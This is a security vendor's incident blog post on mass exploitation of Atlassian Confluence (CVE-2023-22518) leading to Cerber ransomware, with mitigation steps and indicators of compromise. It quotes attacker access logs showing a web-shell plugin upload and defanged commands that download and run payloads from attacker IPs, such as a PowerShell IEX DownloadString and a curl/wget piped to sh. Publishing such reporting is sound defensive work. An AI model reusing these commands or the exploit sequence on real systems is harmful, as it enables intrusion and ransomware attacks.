Last updated at Fri, 10 Nov 2023 19:23:07 GMT

Daniel Lydon and Conor Quinn contributed attacker behavior insights to this blog.

As of November 5, 2023, Rapid7 Managed Detection and Response (MDR) is observing exploitation of Atlassian Confluence in multiple customer environments, including for ransomware deployment. We have confirmed that at least some of the exploits are targeting CVE-2023-22518, an improper authorization vulnerability affecting Confluence Data Center and Confluence Server. Atlassian published an advisory for the vulnerability on October 31, 2023. MDR has also observed attempts to exploit CVE-2023-22515, a critical broken access control vulnerability in Confluence that came to light on October 4.

Atlassian updated their advisory for CVE-2023-22518 on November 3 to note that exploitation of the vulnerability had been reported to them by a customer.

Observed attacker behavior

Beginning November 5, 2023, Rapid7 MDR began responding to exploitation of Confluence Server within various customer environments. The alerts we observed occurred between 2023-11-05 10:08:34 and 23:05:35 UTC.

The process execution chain, for the most part, is consistent across multiple environments, indicating possible mass exploitation of vulnerable internet-facing Atlassian Confluence servers.

Rapid7 observed POST requests in HTTP access logs (/atlassian/confluence/logs) on both Windows and Linux. The requests were sent to /json/setup-restore.action?synchronous=true, as seen in the example below:

[05/Nov/2023:11:54:54 +0000] - SYSTEMNAME 193.176.179[.]41 POST /json/setup-restore.action?synchronous=true HTTP/1.1 302 44913ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:09 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/?os_authType=basic HTTP/1.1 200 153ms 388712 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:10 +0000] admin SYSTEMNAME 193.176.179[.]41 DELETE /rest/plugins/1.0/web.shell.Plugin-key HTTP/1.1 404 3ms 40 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:10 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /rest/plugins/1.0/?token=-TOKENNUM HTTP/1.1 202 26ms 344 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:11 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/tasks/1f5049f1-6fd7-471d-937c-7afbe3158019 HTTP/1.1 200 4ms 229 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
[05/Nov/2023:11:56:16 +0000] admin SYSTEMNAME 193.176.179[.]41 GET /rest/plugins/1.0/tasks/1f5049f1-6fd7-471d-937c-7afbe3158019 HTTP/1.1 200 3ms 274 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Nov/2023:11:56:16 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 27ms 212 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:17 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 13ms 283 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:17 +0000] admin SYSTEMNAME 193.176.179[.]41 POST /plugins/servlet/com.jsos.shell/ShellServlet?act=3 HTTP/1.1 200 14ms 556 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[05/Nov/2023:11:56:18 +0000] admin SYSTEMNAME 193.176.179[.]41 DELETE /rest/plugins/1.0/web.shell.Plugin-key HTTP/1.1 204 129ms - - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36

Rapid7 managed services observed the following processes on the host systems as part of exploitation:

  • Linux

Parent process:

/opt/atlassian/confluence/jre//bin/java -Djava.util.logging.config.file=/opt/atlassian/confluence/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=XXXX -Datlassian.plugins.startup.options= -Dorg.apache.tomcat.websocket.DEFAULT_BUFFER_SIZE=32768 -Dconfluence.context.path= -Djava.locale.providers=JRE,SPI,CLDR -Dsynchrony.enable.xhr.fallback=true -Datlassian.plugins.enable.wait=300 -Djava.awt.headless=true -Xloggc:/opt/atlassian/confluence/logs/gc-YYYY-MM-DD_XX-XX-XX.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=5 -XX:GCLogFileSize=2M -Xlog:gc+age=debug:file=/opt/atlassian/confluence/logs/gc-YYYY-MM-DD_XX-XX-XX.log::filecount=5,filesize=2M -XX:G1ReservePercent=20 -XX:+UseG1GC -XX:+ExplicitGCInvokesConcurrent -XX:+PrintGCDateStamps -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=256m -Xms1024m -Xmx1024m -Dignore.endorsed.dirs= -classpath /opt/atlassian/confluence/bin/bootstrap.jar:/opt/atlassian/confluence/bin/tomcat-juli.jar -Dcatalina.base=/opt/atlassian/confluence -Dcatalina.home=/opt/atlassian/confluence -Djava.io.tmpdir=/opt/atlassian/confluence/temp org.apache.catalina.startup.Bootstrap start

Child process:

/usr/bin/bash -c whoami
Additional Commands (decoded and deobfuscated):
echo -n hxxp://193.176.179[.]41/agae > /tmp/lru
echo -n hxxp://193.43.72[.]11/mdrg > /tmp/lru
  • Windows

Parent process:

"DRIVE:\Confluence\Confluence\bin\tomcat9.exe" "//RS//Confluence"

Child processes:

cmd /c whoami 

Additional Commands (decoded and deobfuscated):
IEX((New-Object Net.WebClient).DownloadString("hxxp[:]//193[.]176[.]179[.]41/tmp.37"))

Post-exploitation behavior

After the initial enumeration activity (whoami command spawned via Bash), the adversary executed Base64 commands to spawn follow-on commands via python2 or python3.

/usr/bin/bash -c whoami
echo -n hxxp://193.176.179[.]41/agae > /tmp/lru
uname -p 2> /dev/null (spawned by /usr/bin/python3.6)
/usr/bin/id -u (spawned by /usr/bin/python3.6)
/bin/chmod +x ./qnetd (spawned by /usr/bin/python3.6)
/bin/chmod 755 ./qnetd (spawned by /usr/bin/python3.6)
/tmp/qnetd (ransomware execution)

—-----------------------------------------
/usr/bin/bash -c whoami
echo -n hxxp://193.43.72[.]11/mdrg > /tmp/lru
curl -s hxxp://193.43.72[.]11/mdrg.sh || wget -q -O- hxxp://193.43.72[.]11/mdrg[.]sh)%7Csh 
/usr/bin/cat /tmp/lru (spawned by /usr/bin/bash)
/usr/bin/uname -m (spawned by /usr/bin/bash)
/usr/bin/rm -rf /tmp/lru (spawned by /usr/bin/bash)
/usr/bin/rm -rf sh (spawned by /usr/bin/bash)
/usr/bin/id -u (spawned by /usr/bin/bash) 
/usr/bin/rm -rf ./qnetd(spawned by /usr/bin/bash)
/usr/bin/chmod +x ./qnetd (spawned by /usr/bin/bash)
/usr/bin/chmod 755 ./qnetd (spawned by /usr/bin/bash)
/usr/bin/rm -rf ./qnetd (spawned by /usr/bin/python2.7)
/usr/bin/uname -p (spawned by /usr/bin/python2.7)
/usr/bin/id -u (spawned by /usr/bin/python2.7) 
/usr/bin/chmod +x ./qnetd (spawned by /usr/bin/python2.7)
/usr/bin/chmod 755 ./qnetd (spawned by /usr/bin/python2.7)
/tmp/qnetd (ransomware execution)

In multiple attack chains, Rapid7 observed post-exploitation command execution to download a malicious payload hosted at 193.43.72[.]11 and/or 193.176.179[.]41, which, if successful, led to single-system Cerber ransomware deployment on the exploited Confluence server.

Mitigation guidance

All versions of Confluence Server and Confluence Data Center are vulnerable to CVE-2023-22518. The vulnerability has been remediated in the following fixed versions:

  • 7.19.16
  • 8.3.4
  • 8.4.4
  • 8.5.3
  • 8.6.1

Atlassian Cloud users are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.

Customers should update to a fixed version of Confluence on an emergency basis, restricting external access to the application at least until they are able to remediate. If you are unable to restrict access to the application or update on an emergency basis, Atlassian’s advisory includes interim measures you can take to mitigate risk from known attack vectors. As always, Rapid7 strongly recommends applying vendor-supplied patches rather than relying solely on temporary mitigations.

Indicators of compromise

IP addresses:

  • 193.176.179[.]41
  • 193.43.72[.]11
  • 45.145.6[.]112

Domains:
j3qxmk6g5sk3zw62i2yhjnwmhm55rfz47fdyfkhaithlpelfjdokdxad[.]onion

File hashes:

  • Bat file: /tmp/agttydcb.bat - MD5: 81b760d4057c7c704f18c3f6b3e6b2c4

  • ELF ransomware binary: /tmp/qnetd - SHA256: 4ed46b98d047f5ed26553c6f4fded7209933ca9632b998d265870e3557a5cdfe

Ransom note: read-me3.txt

MITRE ATT&CK Enterprise Techniques

Resource Development:
Acquire Infrastructure (T1583)
Develop Capabilities (T1587)
Obtain Capabilities (T1588)
Stage Capabilities (T1608)

Initial Access:
Exploit Public-Facing Application (T1190)

Execution:
Command and Scripting Interpreter (T1059)

Defense Evasion:
File Directory & Permissions Modification (T1222)
Indicator Removal (T1070)

Impact:
Data Encrypted for Impact (T1486)

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2023-22518 with an unauthenticated check available as of the November 1, 2023 content release.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following detection rules are deployed and alerting on activity related to Atlassian Confluence exploitation:

  • Suspicious Process - Confluence Java App Launching Processes
  • Webshell - Commands Launched by Webserver